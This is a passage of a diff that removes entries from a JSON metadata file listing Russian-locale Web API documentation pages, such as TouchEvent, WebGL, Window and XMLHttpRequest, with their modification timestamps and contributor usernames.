- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/API/SubtleCrypto": {
- "modified": "2019-03-23T22:28:09.707Z",
- "contributors": [
- "nurtrom"
- ]
- },
- "Web/API/Text": {
- "modified": "2020-10-15T22:08:27.688Z",
- "contributors": [
- "ivanson"
- ]
- },
- "Web/API/Touch": {
- "modified": "2020-10-15T22:23:10.902Z",
- "contributors": [
- "hisbvdis",
- "m019m1"
- ]
- },
- "Web/API/TouchEvent": {
- "modified": "2020-10-15T21:56:27.849Z",
- "contributors": [
- "hisbvdis",
- "YozhEzhi",
- "cmath10",
- "kopchikovich",
- "jackblackevo"
- ]
- },
- "Web/API/TouchEvent/altKey": {
- "modified": "2020-10-15T22:22:27.243Z",
- "contributors": [
- "cmath10"
- ]
- },
- "Web/API/TouchEvent/changedTouches": {
- "modified": "2019-08-28T08:29:41.240Z",
- "contributors": [
- "cmath10",
- "Masterov-web",
- "dedotmoroz"
- ]
- },
- "Web/API/TouchEvent/touches": {
- "modified": "2020-10-15T22:33:58.366Z",
- "contributors": [
- "hisbvdis"
- ]
- },
- "Web/API/TouchList": {
- "modified": "2020-10-15T22:29:16.943Z",
- "contributors": [
- "hisbvdis",
- "opereverzeva"
- ]
- },
- "Web/API/Touch_events": {
- "modified": "2020-10-15T21:44:29.969Z",
- "contributors": [
- "hisbvdis",
- "YozhEzhi",
- "valeryvitkus",
- "AlexChebanenko",
- "Yerokhov",
- "nboldar",
- "vovchik-manko",
- "surrsoft"
- ]
- },
- "Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent": {
- "modified": "2020-08-27T17:02:59.997Z",
- "contributors": [
- "hisbvdis"
- ]
- },
- "Web/API/Touch_events/Using_Touch_Events": {
- "modified": "2020-09-03T17:23:38.278Z",
- "contributors": [
- "hisbvdis",
- "sivashev",
- "idushii"
- ]
- },
- "Web/API/URL": {
- "modified": "2020-10-18T22:13:20.099Z",
- "contributors": [
- "vvfargo",
- "YozhEzhi",
- "Gheoan"
- ]
- },
- "Web/API/URL/URL": {
- "modified": "2019-03-23T22:36:10.894Z",
- "contributors": [
- "vittorio-tortugo"
- ]
- },
- "Web/API/URL/createObjectURL": {
- "modified": "2020-10-15T21:47:36.192Z",
- "contributors": [
- "YozhEzhi",
- "bagau",
- "chevsky",
- "ga2mer",
- "Vasia-Gav"
- ]
- },
- "Web/API/URLSearchParams": {
- "modified": "2020-10-15T21:53:41.603Z",
- "contributors": [
- "YozhEzhi",
- "kav137",
- "Daikity"
- ]
- },
- "Web/API/URLSearchParams/delete": {
- "modified": "2020-10-15T22:23:10.553Z",
- "contributors": [
- "VikingBO"
- ]
- },
- "Web/API/USB": {
- "modified": "2020-10-15T22:31:11.778Z",
- "contributors": [
- "Kami-san"
- ]
- },
- "Web/API/USB/getDevices": {
- "modified": "2020-10-15T22:31:15.293Z",
- "contributors": [
- "Kami-san"
- ]
- },
- "Web/API/USB/onconnect": {
- "modified": "2020-10-15T22:31:15.839Z",
- "contributors": [
- "Kami-san"
- ]
- },
- "Web/API/USB/ondisconnect": {
- "modified": "2020-10-15T22:31:11.552Z",
- "contributors": [
- "Kami-san"
- ]
- },
- "Web/API/USB/requestDevice": {
- "modified": "2020-10-15T22:31:48.159Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/USVString": {
- "modified": "2020-10-02T07:35:43.794Z",
- "contributors": [
- "beltimor"
- ]
- },
- "Web/API/VRDisplay": {
- "modified": "2020-10-15T22:16:06.226Z",
- "contributors": [
- "fscholz"
- ]
- },
- "Web/API/VRDisplay/requestAnimationFrame": {
- "modified": "2020-10-15T22:16:56.377Z",
- "contributors": [
- "D-Koganov"
- ]
- },
- "Web/API/VRDisplay/requestPresent": {
- "modified": "2020-10-15T22:16:04.156Z",
- "contributors": [
- "D-Koganov"
- ]
- },
- "Web/API/VRDisplayCapabilities": {
- "modified": "2020-10-15T22:28:19.769Z",
- "contributors": [
- "DmNsk2016"
- ]
- },
- "Web/API/VRDisplayCapabilities/hasPosition": {
- "modified": "2020-10-15T22:28:59.058Z",
- "contributors": [
- "DmNsk2016"
- ]
- },
- "Web/API/VRDisplayEvent": {
- "modified": "2020-10-15T22:27:55.457Z",
- "contributors": [
- "DmNsk2016"
- ]
- },
- "Web/API/VRDisplayEvent/display": {
- "modified": "2020-10-15T22:28:20.824Z",
- "contributors": [
- "DmNsk2016"
- ]
- },
- "Web/API/VRFrameData": {
- "modified": "2020-10-15T22:28:23.366Z",
- "contributors": [
- "DmNsk2016"
- ]
- },
- "Web/API/VRPose": {
- "modified": "2020-10-15T22:28:10.240Z",
- "contributors": [
- "javierdesojomartinez"
- ]
- },
- "Web/API/VRPose/position": {
- "modified": "2020-10-15T22:28:10.120Z",
- "contributors": [
- "DmNsk2016"
- ]
- },
- "Web/API/VRStageParameters": {
- "modified": "2020-10-15T22:28:00.058Z"
- },
- "Web/API/VRStageParameters/sittingToStandingTransform": {
- "modified": "2020-10-15T22:28:04.040Z",
- "contributors": [
- "DmNsk2016"
- ]
- },
- "Web/API/VRStageParameters/sizeX": {
- "modified": "2020-10-15T22:28:03.196Z",
- "contributors": [
- "DmNsk2016"
- ]
- },
- "Web/API/VRStageParameters/sizeY": {
- "modified": "2020-10-15T22:27:59.849Z",
- "contributors": [
- "DmNsk2016"
- ]
- },
- "Web/API/WEBGL_compressed_texture_pvrtc": {
- "modified": "2020-10-15T22:01:33.880Z",
- "contributors": [
- "non-descriptive"
- ]
- },
- "Web/API/WebGLProgram": {
- "modified": "2020-10-15T21:50:47.604Z",
- "contributors": [
- "curdwithraisins"
- ]
- },
- "Web/API/WebGLRenderingContext": {
- "modified": "2019-03-23T22:25:35.767Z",
- "contributors": [
- "VladimyrRomanishyn"
- ]
- },
- "Web/API/WebGLRenderingContext/activeTexture": {
- "modified": "2020-10-15T22:21:44.455Z",
- "contributors": [
- "FMakareev"
- ]
- },
- "Web/API/WebGLRenderingContext/bindBuffer": {
- "modified": "2020-10-15T21:55:36.380Z",
- "contributors": [
- "eruditor",
- "gNikro"
- ]
- },
- "Web/API/WebGLRenderingContext/bindTexture": {
- "modified": "2020-10-15T22:21:44.690Z",
- "contributors": [
- "FMakareev"
- ]
- },
- "Web/API/WebGLRenderingContext/canvas": {
- "modified": "2020-10-15T22:00:42.808Z",
- "contributors": [
- "neromont"
- ]
- },
- "Web/API/WebGLRenderingContext/clear": {
- "modified": "2020-10-15T21:59:25.402Z",
- "contributors": [
- "enjoyenj"
- ]
- },
- "Web/API/WebGLRenderingContext/clearColor": {
- "modified": "2020-10-15T21:54:40.004Z",
- "contributors": [
- "amiluik"
- ]
- },
- "Web/API/WebGLRenderingContext/compileShader": {
- "modified": "2020-10-15T22:21:49.706Z",
- "contributors": [
- "FMakareev"
- ]
- },
- "Web/API/WebGLRenderingContext/enable": {
- "modified": "2020-10-15T21:54:39.548Z",
- "contributors": [
- "amiluik"
- ]
- },
- "Web/API/WebGLRenderingContext/getShaderInfoLog": {
- "modified": "2020-10-15T22:21:50.426Z",
- "contributors": [
- "FMakareev"
- ]
- },
- "Web/API/WebGLRenderingContext/shaderSource": {
- "modified": "2020-10-15T22:21:48.445Z",
- "contributors": [
- "FMakareev"
- ]
- },
- "Web/API/WebGLRenderingContext/uniform": {
- "modified": "2020-10-15T22:21:44.678Z",
- "contributors": [
- "FMakareev"
- ]
- },
- "Web/API/WebGL_API": {
- "modified": "2020-10-15T21:20:31.569Z",
- "contributors": [
- "fscholz",
- "vaiil",
- "WalkInWay",
- "sputnik1986",
- "teoli",
- "hazestalker"
- ]
- },
- "Web/API/WebGL_API/Tutorial": {
- "modified": "2019-03-23T22:48:52.745Z",
- "contributors": [
- "Watt47",
- "fenfil",
- "fscholz"
- ]
- },
- "Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context": {
- "modified": "2019-03-23T23:06:21.005Z",
- "contributors": [
- "Watt47",
- "fscholz",
- "sputnik1986",
- "teoli"
- ]
- },
- "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL": {
- "modified": "2019-03-23T23:02:44.530Z",
- "contributors": [
- "chrootsu",
- "ulmer-morozov",
- "bursty",
- "fscholz",
- "smeagol74"
- ]
- },
- "Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL": {
- "modified": "2019-03-23T23:06:17.705Z",
- "contributors": [
- "binarydata",
- "lightest",
- "fscholz",
- "sputnik1986"
- ]
- },
- "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL": {
- "modified": "2019-09-09T06:21:50.295Z",
- "contributors": [
- "Oppositus"
- ]
- },
- "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL": {
- "modified": "2019-03-23T23:25:39.265Z",
- "contributors": [
- "fscholz",
- "sputnik1986",
- "teoli",
- "Roman_Kuznetsov"
- ]
- },
- "Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL": {
- "modified": "2019-09-09T04:07:05.078Z",
- "contributors": [
- "Oppositus",
- "VLDSLW",
- "karmich",
- "KTatyana",
- "mrBizik",
- "Kran440"
- ]
- },
- "Web/API/WebGL_API/Tutorial/Создание_3D_объектов_с_помощью_WebGL": {
- "modified": "2019-03-23T22:29:53.189Z",
- "contributors": [
- "BakayAnton",
- "e-rikov",
- "Vlcmdc"
- ]
- },
- "Web/API/WebGL_API/WebGL_best_practices": {
- "modified": "2019-03-23T22:20:32.460Z",
- "contributors": [
- "CGAdept"
- ]
- },
- "Web/API/WebRTC_API": {
- "modified": "2020-08-25T02:01:56.485Z",
- "contributors": [
- "chimit",
- "severn101",
- "mechtool",
- "alexandrtovmach",
- "yambergaa",
- "BychekRU",
- "franzy1709"
- ]
- },
- "Web/API/WebRTC_API/Session_lifetime": {
- "modified": "2020-05-06T10:20:25.363Z",
- "contributors": [
- "tonyrewin",
- "coderxone",
- "franzy1709"
- ]
- },
- "Web/API/WebRTC_API/Signaling_and_video_calling": {
- "modified": "2020-11-26T18:12:23.900Z",
- "contributors": [
- "nikolaifedorov",
- "Ingulfr",
- "mechtool",
- "Geloosa"
- ]
- },
- "Web/API/WebRTC_API/Simple_RTCDataChannel_sample": {
- "modified": "2020-02-18T05:04:43.227Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/WebRTC_API/Taking_still_photos": {
- "modified": "2020-02-17T09:19:46.393Z",
- "contributors": [
- "mechtool",
- "lolyanepizdi",
- "tifund"
- ]
- },
- "Web/API/WebRTC_API/Using_data_channels": {
- "modified": "2020-02-18T04:33:19.219Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/WebRTC_API/WebRTC_basics": {
- "modified": "2020-11-01T04:44:10.388Z",
- "contributors": [
- "mechtool",
- "kostya-skr",
- "coderxone"
- ]
- },
- "Web/API/WebRTC_API/adapter.js": {
- "modified": "2020-02-18T04:29:30.086Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/WebRTC_API/протоколы": {
- "modified": "2019-03-23T22:17:21.029Z",
- "contributors": [
- "aleole"
- ]
- },
- "Web/API/WebRTC_API/связь": {
- "modified": "2019-03-23T22:17:18.730Z",
- "contributors": [
- "aleole"
- ]
- },
- "Web/API/WebSocket": {
- "modified": "2020-10-15T21:37:20.947Z",
- "contributors": [
- "art-gur",
- "sluchaynayakotya",
- "AlexandritT",
- "Neiromaster",
- "zaqqq13",
- "antenko",
- "izdesenko"
- ]
- },
- "Web/API/WebVR_API": {
- "modified": "2019-03-18T21:43:25.614Z",
- "contributors": [
- "Lyumih"
- ]
- },
- "Web/API/WebVR_API/Using_the_WebVR_API": {
- "modified": "2019-04-01T15:08:37.420Z",
- "contributors": [
- "D-Koganov"
- ]
- },
- "Web/API/WebVTT_API": {
- "modified": "2020-10-15T22:17:18.012Z",
- "contributors": [
- "sh7dm",
- "SedovDP"
- ]
- },
- "Web/API/WebXR_Device_API": {
- "modified": "2020-10-15T22:31:41.396Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/Web_Animations_API": {
- "modified": "2019-06-18T07:52:11.648Z",
- "contributors": [
- "SphinxKnight",
- "yaplusplus",
- "s-n-ushakov",
- "dimakozakov"
- ]
- },
- "Web/API/Web_Animations_API/Using_the_Web_Animations_API": {
- "modified": "2020-11-11T13:23:02.417Z",
- "contributors": [
- "Bobrovskih",
- "pavelmarozka"
- ]
- },
- "Web/API/Web_Audio_API": {
- "modified": "2020-06-07T04:42:52.149Z",
- "contributors": [
- "iameugene",
- "Ajmdag",
- "drrainlab",
- "bierck",
- "digitalapplebee",
- "kalmukvitaly",
- "fffuture",
- "cjbars",
- "smallDevPoul",
- "mattlima"
- ]
- },
- "Web/API/Web_Audio_API/Using_Web_Audio_API": {
- "modified": "2019-03-23T22:44:58.989Z",
- "contributors": [
- "dimaspirit"
- ]
- },
- "Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API": {
- "modified": "2020-10-15T08:26:15.790Z",
- "contributors": [
- "pm3512",
- "MarishKo",
- "swa1ps",
- "PaulineNemchak"
- ]
- },
- "Web/API/Web_Authentication_API": {
- "modified": "2020-10-15T22:31:49.298Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/Web_Crypto_API": {
- "modified": "2020-10-15T21:57:19.936Z",
- "contributors": [
- "qkudev",
- "boxa6",
- "Zlaty",
- "thesiv95"
- ]
- },
- "Web/API/Web_Crypto_API/Checking_authenticity_with_password": {
- "modified": "2019-04-10T04:25:54.752Z",
- "contributors": [
- "qkudev"
- ]
- },
- "Web/API/Web_Speech_API": {
- "modified": "2020-10-29T14:47:13.871Z",
- "contributors": [
- "mangl-auf",
- "kant2002",
- "WispProxy",
- "effus",
- "lazyexpert"
- ]
- },
- "Web/API/Web_Speech_API/Using_the_Web_Speech_API": {
- "modified": "2020-01-17T06:55:44.154Z",
- "contributors": [
- "kirmak",
- "Oleg_Miniuk"
- ]
- },
- "Web/API/Web_Storage_API": {
- "modified": "2019-03-23T23:00:08.195Z",
- "contributors": [
- "GraceAredel",
- "max41479",
- "k4o4",
- "BychekRU",
- "lerniri",
- "ViT09"
- ]
- },
- "Web/API/Web_Storage_API/Using_the_Web_Storage_API": {
- "modified": "2020-11-13T15:47:57.543Z",
- "contributors": [
- "mdndev7",
- "FumbaCloud",
- "oloriin",
- "oxmap",
- "vlad-meskalin",
- "AlexBBB"
- ]
- },
- "Web/API/Web_Workers_API": {
- "modified": "2020-04-30T17:26:24.746Z",
- "contributors": [
- "m-mityureva",
- "iamvector",
- "aadm2014",
- "ivaskonyan",
- "utking",
- "Sebastianz"
- ]
- },
- "Web/API/Web_Workers_API/Functions_and_classes_available_to_workers": {
- "modified": "2019-03-23T22:20:55.862Z",
- "contributors": [
- "bionicle12"
- ]
- },
- "Web/API/Web_Workers_API/Structured_clone_algorithm": {
- "modified": "2020-01-28T16:41:32.926Z",
- "contributors": [
- "voidstone",
- "fxmaxvl",
- "m.onyshchuk",
- "vittorio-tortugo"
- ]
- },
- "Web/API/Window": {
- "modified": "2019-03-23T23:09:39.081Z",
- "contributors": [
- "verbaux",
- "PROPHESSOR",
- "mr-aleksey",
- "dameerv",
- "curdwithraisins",
- "MikitaDu",
- "redishko",
- "surrsoft",
- "fscholz",
- "Roman_Pizhlakov"
- ]
- },
- "Web/API/Window/alert": {
- "modified": "2020-10-15T21:48:09.472Z",
- "contributors": [
- "YozhEzhi",
- "utking",
- "MrOnlineCoder"
- ]
- },
- "Web/API/Window/beforeunload_event": {
- "modified": "2020-10-15T22:33:54.942Z",
- "contributors": [
- "b0rique"
- ]
- },
- "Web/API/Window/blur": {
- "modified": "2019-03-23T22:26:49.650Z",
- "contributors": [
- "horpia"
- ]
- },
- "Web/API/Window/cancelAnimationFrame": {
- "modified": "2020-10-15T22:22:40.555Z",
- "contributors": [
- "xcopy",
- "ekirpichyov"
- ]
- },
- "Web/API/Window/clearImmediate": {
- "modified": "2020-10-15T22:16:38.059Z",
- "contributors": [
- "YozhEzhi"
- ]
- },
- "Web/API/Window/close": {
- "modified": "2020-10-15T21:55:09.199Z",
- "contributors": [
- "SphinxKnight",
- "KuzkovArt"
- ]
- },
- "Web/API/Window/closed": {
- "modified": "2019-03-18T20:59:11.923Z",
- "contributors": [
- "SphinxKnight",
- "AlexandritT"
- ]
- },
- "Web/API/Window/confirm": {
- "modified": "2020-10-15T21:52:49.743Z",
- "contributors": [
- "YozhEzhi",
- "arogachev",
- "ahtohbi4"
- ]
- },
- "Web/API/Window/console": {
- "modified": "2019-03-18T21:20:36.516Z",
- "contributors": [
- "AndreiSoroka"
- ]
- },
- "Web/API/Window/crypto": {
- "modified": "2019-03-23T22:55:57.909Z",
- "contributors": [
- "pinal"
- ]
- },
- "Web/API/Window/devicePixelRatio": {
- "modified": "2020-10-15T21:52:27.387Z",
- "contributors": [
- "zhvirblis",
- "Khrapin",
- "pashutk"
- ]
- },
- "Web/API/Window/deviceorientation_event": {
- "modified": "2019-04-11T18:37:23.002Z",
- "contributors": [
- "estelle",
- "Influsion",
- "fscholz",
- "timur-gilauri"
- ]
- },
- "Web/API/Window/document": {
- "modified": "2019-08-12T05:28:32.698Z",
- "contributors": [
- "CODER591",
- "WaveMeUp"
- ]
- },
- "Web/API/Window/frameElement": {
- "modified": "2019-03-23T22:39:42.618Z",
- "contributors": [
- "nakhodkiin",
- "velgreen"
- ]
- },
- "Web/API/Window/frames": {
- "modified": "2020-10-15T22:12:07.814Z",
- "contributors": [
- "ShantyHoz"
- ]
- },
- "Web/API/Window/gamepadconnected_event": {
- "modified": "2019-03-23T21:59:48.751Z",
- "contributors": [
- "irenesmith",
- "eof273"
- ]
- },
- "Web/API/Window/gamepaddisconnected_event": {
- "modified": "2019-03-23T21:59:48.268Z",
- "contributors": [
- "irenesmith",
- "eof273"
- ]
- },
- "Web/API/Window/getComputedStyle": {
- "modified": "2020-05-17T12:55:36.404Z",
- "contributors": [
- "Mialik-Kirill-Sergeevich",
- "LiubavaL",
- "xobotyi",
- "jt3k"
- ]
- },
- "Web/API/Window/getSelection": {
- "modified": "2020-03-05T05:54:57.879Z",
- "contributors": [
- "Nitvex",
- "DimaShcherbakov",
- "ciricc"
- ]
- },
- "Web/API/Window/hashchange_event": {
- "modified": "2019-04-01T11:57:44.565Z",
- "contributors": [
- "fscholz",
- "alexismaster"
- ]
- },
- "Web/API/Window/history": {
- "modified": "2019-03-23T22:05:56.883Z",
- "contributors": [
- "avdoshenkov",
- "sumthief"
- ]
- },
- "Web/API/Window/innerHeight": {
- "modified": "2020-10-15T22:21:02.031Z",
- "contributors": [
- "Dzvonek"
- ]
- },
- "Web/API/Window/length": {
- "modified": "2019-03-23T22:25:12.512Z",
- "contributors": [
- "ManInBlackHat"
- ]
- },
- "Web/API/Window/localStorage": {
- "modified": "2020-10-15T21:40:44.226Z",
- "contributors": [
- "art-gur",
- "YozhEzhi",
- "webmcheck",
- "Halkyon",
- "teoli",
- "jora244",
- "EvgenyI"
- ]
- },
- "Web/API/Window/location": {
- "modified": "2020-10-15T21:36:06.561Z",
- "contributors": [
- "art-gur",
- "Sajag",
- "surrsoft"
- ]
- },
- "Web/API/Window/matchMedia": {
- "modified": "2020-10-15T21:37:32.455Z",
- "contributors": [
- "bershanskiy",
- "hraboviyvadim",
- "ds-lightowl",
- "akmil",
- "MaxSvargal"
- ]
- },
- "Web/API/Window/moveBy": {
- "modified": "2020-10-15T22:22:50.659Z",
- "contributors": [
- "ekirpichyov"
- ]
- },
- "Web/API/Window/moveTo": {
- "modified": "2020-10-15T22:22:50.511Z",
- "contributors": [
- "ekirpichyov"
- ]
- },
- "Web/API/Window/mozAnimationStartTime": {
- "modified": "2020-10-15T22:21:33.446Z",
- "contributors": [
- "lastshipsails"
- ]
- },
- "Web/API/Window/name": {
- "modified": "2019-03-23T22:51:25.153Z",
- "contributors": [
- "pashutk"
- ]
- },
- "Web/API/Window/navigator": {
- "modified": "2020-10-15T22:12:17.873Z",
- "contributors": [
- "Mitrr",
- "ShantyHoz"
- ]
- },
- "Web/API/Window/ondeviceorientation": {
- "modified": "2019-03-23T22:29:46.961Z",
- "contributors": [
- "timur-gilauri"
- ]
- },
- "Web/API/Window/ongamepadconnected": {
- "modified": "2020-11-17T12:43:15.635Z",
- "contributors": [
- "venanen"
- ]
- },
- "Web/API/Window/ongamepaddisconnected": {
- "modified": "2020-11-17T12:45:18.585Z",
- "contributors": [
- "venanen"
- ]
- },
- "Web/API/Window/onpaint": {
- "modified": "2019-03-23T22:08:47.903Z",
- "contributors": [
- "peshkov3"
- ]
- },
- "Web/API/Window/pageYOffset": {
- "modified": "2020-10-15T22:28:25.886Z",
- "contributors": [
- "anima-dev"
- ]
- },
- "Web/API/Window/parent": {
- "modified": "2019-03-23T22:52:14.067Z",
- "contributors": [
- "skip405",
- "olehrgf"
- ]
- },
- "Web/API/Window/performance": {
- "modified": "2019-03-18T21:36:16.802Z",
- "contributors": [
- "Demjan"
- ]
- },
- "Web/API/Window/popstate_event": {
- "modified": "2019-04-26T08:34:41.629Z",
- "contributors": [
- "chrisdavidmills",
- "irenesmith",
- "tikijian",
- "fscholz",
- "buhter",
- "FlowerDeLuce"
- ]
- },
- "Web/API/Window/postMessage": {
- "modified": "2020-03-20T04:22:12.543Z",
- "contributors": [
- "olga_ant",
- "Gusland",
- "vilka-vk",
- "Dannaz",
- "kernerrus",
- "sivashev",
- "HerrMazik"
- ]
- },
- "Web/API/Window/print": {
- "modified": "2019-03-23T22:07:56.439Z",
- "contributors": [
- "WaveMeUp"
- ]
- },
- "Web/API/Window/prompt": {
- "modified": "2019-07-28T05:15:15.828Z",
- "contributors": [
- "alienvspredator",
- "WispProxy",
- "MaximAlexandrovich",
- "YozhEzhi",
- "yat-san",
- "Aruseli"
- ]
- },
- "Web/API/Window/requestIdleCallback": {
- "modified": "2020-05-21T02:39:12.402Z",
- "contributors": [
- "piranha",
- "toptalo",
- "SerzN1",
- "Bargamut"
- ]
- },
- "Web/API/Window/resize_event": {
- "modified": "2020-04-17T03:11:02.137Z",
- "contributors": [
- "ellizii",
- "Rainbow_Spike",
- "chrisdavidmills",
- "irenesmith",
- "fscholz",
- "ValeriaAleksandrovna"
- ]
- },
- "Web/API/Window/screen": {
- "modified": "2020-10-15T22:29:21.333Z",
- "contributors": [
- "michaelTate"
- ]
- },
- "Web/API/Window/screenX": {
- "modified": "2020-10-15T22:13:55.909Z",
- "contributors": [
- "fuggy",
- "zzhmeenuya"
- ]
- },
- "Web/API/Window/scroll": {
- "modified": "2019-03-23T22:50:41.795Z",
- "contributors": [
- "bakatrouble"
- ]
- },
- "Web/API/Window/scrollBy": {
- "modified": "2019-03-23T22:37:56.985Z",
- "contributors": [
- "TicTacVengria",
- "nikstorm"
- ]
- },
- "Web/API/Window/scrollByLines": {
- "modified": "2019-03-23T22:04:58.444Z",
- "contributors": [
- "PaulineNemchak"
- ]
- },
- "Web/API/Window/scrollMaxX": {
- "modified": "2020-10-15T22:22:38.807Z",
- "contributors": [
- "ekirpichyov"
- ]
- },
- "Web/API/Window/scrollMaxY": {
- "modified": "2020-10-15T21:35:52.362Z",
- "contributors": [
- "ekirpichyov",
- "Rainbow_Spike"
- ]
- },
- "Web/API/Window/scrollTo": {
- "modified": "2019-07-24T04:52:36.805Z",
- "contributors": [
- "SuperSurok",
- "ghost28147",
- "beam018",
- "polyskalov"
- ]
- },
- "Web/API/Window/scrollX": {
- "modified": "2019-03-18T21:42:54.763Z",
- "contributors": [
- "AlexandritT"
- ]
- },
- "Web/API/Window/scrollY": {
- "modified": "2020-10-15T21:57:54.860Z",
- "contributors": [
- "YozhEzhi",
- "AlexandritT",
- "PaulineNemchak"
- ]
- },
- "Web/API/Window/self": {
- "modified": "2020-10-15T21:54:36.422Z",
- "contributors": [
- "smlkA",
- "sumthief"
- ]
- },
- "Web/API/Window/sessionStorage": {
- "modified": "2019-07-18T08:53:52.925Z",
- "contributors": [
- "forestbird",
- "RomanAkhma",
- "teoli",
- "jora244",
- "EvgenyI",
- "shimopus"
- ]
- },
- "Web/API/Window/stop": {
- "modified": "2019-03-23T22:28:10.946Z",
- "contributors": [
- "maximTorba"
- ]
- },
- "Web/API/Window/storage_event": {
- "modified": "2019-06-10T12:00:20.892Z",
- "contributors": [
- "chrisdavidmills",
- "irenesmith",
- "fscholz",
- "dnafigator"
- ]
- },
- "Web/API/Window/top": {
- "modified": "2019-03-23T22:05:04.391Z",
- "contributors": [
- "ifedyshin"
- ]
- },
- "Web/API/WindowBase64": {
- "modified": "2019-03-23T22:50:51.451Z",
- "contributors": [
- "teoli"
- ]
- },
- "Web/API/WindowBase64/Base64_encoding_and_decoding": {
- "modified": "2020-02-04T12:42:12.592Z",
- "contributors": [
- "hifriend21",
- "kormanowsky",
- "k-chernyshov",
- "9999472",
- "KSH-audibene",
- "kerosan"
- ]
- },
- "Web/API/WindowBase64/btoa": {
- "modified": "2019-09-17T16:11:11.862Z",
- "contributors": [
- "SerzN1",
- "uleming"
- ]
- },
- "Web/API/WindowClient": {
- "modified": "2020-10-15T22:34:56.308Z",
- "contributors": [
- "beltimor"
- ]
- },
- "Web/API/WindowEventHandlers": {
- "modified": "2019-03-23T22:58:25.582Z",
- "contributors": [
- "teoli"
- ]
- },
- "Web/API/WindowEventHandlers/onafterprint": {
- "modified": "2020-10-15T22:06:05.874Z",
- "contributors": [
- "Khich"
- ]
- },
- "Web/API/WindowEventHandlers/onbeforeunload": {
- "modified": "2020-10-15T21:52:01.565Z",
- "contributors": [
- "bershanskiy",
- "Khich",
- "mcmimik",
- "R.A.S.",
- "sumthief",
- "WispProxy",
- "vitalyzhakov",
- "artemderzkiy",
- "rtf-const"
- ]
- },
- "Web/API/WindowEventHandlers/onhashchange": {
- "modified": "2019-03-23T22:58:29.697Z",
- "contributors": [
- "alexismaster"
- ]
- },
- "Web/API/WindowEventHandlers/onpopstate": {
- "modified": "2020-10-15T21:34:09.985Z",
- "contributors": [
- "hisbvdis",
- "stary71",
- "alexismaster"
- ]
- },
- "Web/API/WindowEventHandlers/onunload": {
- "modified": "2019-03-23T22:58:38.393Z",
- "contributors": [
- "AlexChuev",
- "alexismaster"
- ]
- },
- "Web/API/WindowOrWorkerGlobalScope": {
- "modified": "2020-04-09T14:17:18.919Z",
- "contributors": [
- "Drrragonica",
- "b0rique",
- "kenrick95"
- ]
- },
- "Web/API/WindowOrWorkerGlobalScope/atob": {
- "modified": "2019-03-23T22:02:40.728Z",
- "contributors": [
- "HawkeyePierce89",
- "hunty"
- ]
- },
- "Web/API/WindowOrWorkerGlobalScope/caches": {
- "modified": "2020-10-29T09:02:45.566Z",
- "contributors": [
- "ScratchFilin",
- "evilwithin93rus"
- ]
- },
- "Web/API/WindowOrWorkerGlobalScope/clearTimeout": {
- "modified": "2020-10-15T22:33:31.469Z",
- "contributors": [
- "andzion105"
- ]
- },
- "Web/API/WindowOrWorkerGlobalScope/fetch": {
- "modified": "2020-10-15T22:06:28.491Z",
- "contributors": [
- "BadLame",
- "dasha_hshr"
- ]
- },
- "Web/API/WindowOrWorkerGlobalScope/setInterval": {
- "modified": "2020-11-18T12:13:20.493Z",
- "contributors": [
- "kosarev_va",
- "WhiteApfel",
- "lilka9",
- "AliaksandrZahorski"
- ]
- },
- "Web/API/WindowTimers": {
- "modified": "2019-03-23T23:01:38.088Z",
- "contributors": [
- "fscholz"
- ]
- },
- "Web/API/WindowTimers/setTimeout": {
- "modified": "2020-11-18T12:03:29.649Z",
- "contributors": [
- "kosarev_va",
- "YozhEzhi",
- "AliaksandrZahorski",
- "akaguny",
- "marat-curious",
- "neustroev.artyom",
- "fscholz",
- "ichent"
- ]
- },
- "Web/API/Worker": {
- "modified": "2019-03-23T22:47:25.398Z",
- "contributors": [
- "sgrogov",
- "Helen4gu"
- ]
- },
- "Web/API/Worker/Worker": {
- "modified": "2020-10-15T22:11:38.920Z",
- "contributors": [
- "iGureEV"
- ]
- },
- "Web/API/Worker/onmessage": {
- "modified": "2019-03-23T22:42:44.668Z",
- "contributors": [
- "vkorniiko"
- ]
- },
- "Web/API/Worker/postMessage": {
- "modified": "2020-10-15T22:11:36.490Z",
- "contributors": [
- "chrisdavidmills",
- "iGureEV"
- ]
- },
- "Web/API/Worker/terminate": {
- "modified": "2020-10-15T22:11:36.392Z",
- "contributors": [
- "iGureEV"
- ]
- },
- "Web/API/WorkerGlobalScope": {
- "modified": "2020-10-15T22:28:27.063Z",
- "contributors": [
- "anubhavsrivastava"
- ]
- },
- "Web/API/WorkerGlobalScope/importScripts": {
- "modified": "2020-11-28T13:21:29.053Z",
- "contributors": [
- "ialexi-bl",
- "kjkoala",
- "RAPOS"
- ]
- },
- "Web/API/XMLHttpRequest": {
- "modified": "2020-10-15T21:27:22.288Z",
- "contributors": [
- "korrectiv",
- "wbamberg",
- "YozhEzhi",
- "ITStepMike",
- "iliyaZelenko",
- "vseslav98",
- "Pristavka",
- "zalivadnyi",
- "arturparkhisenko",
- "desvu",
- "RomaShKeee",
- "BitChap",
- "torbasow",
- "an2323",
- "fider",
- "degr",
- "CosmicBoris",
- "fscholz",
- "kohei.yoshino"
- ]
- },
- "Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data": {
- "modified": "2020-11-20T18:11:14.497Z",
- "contributors": [
- "rsvato",
- "b0rique",
- "bagau",
- "saga111a"
- ]
- },
- "Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests": {
- "modified": "2019-03-18T20:59:58.784Z",
- "contributors": [
- "Antonbreakble"
- ]
- },
- "Web/API/XMLHttpRequest/Using_XMLHttpRequest": {
- "modified": "2020-08-29T22:53:18.449Z",
- "contributors": [
- "Saiffer",
- "Longraf",
- "carboncheg",
- "higimo",
- "vladlipski",
- "forestbird",
- "Leo240",
- "iameugene",
- "vittorio-tortugo",
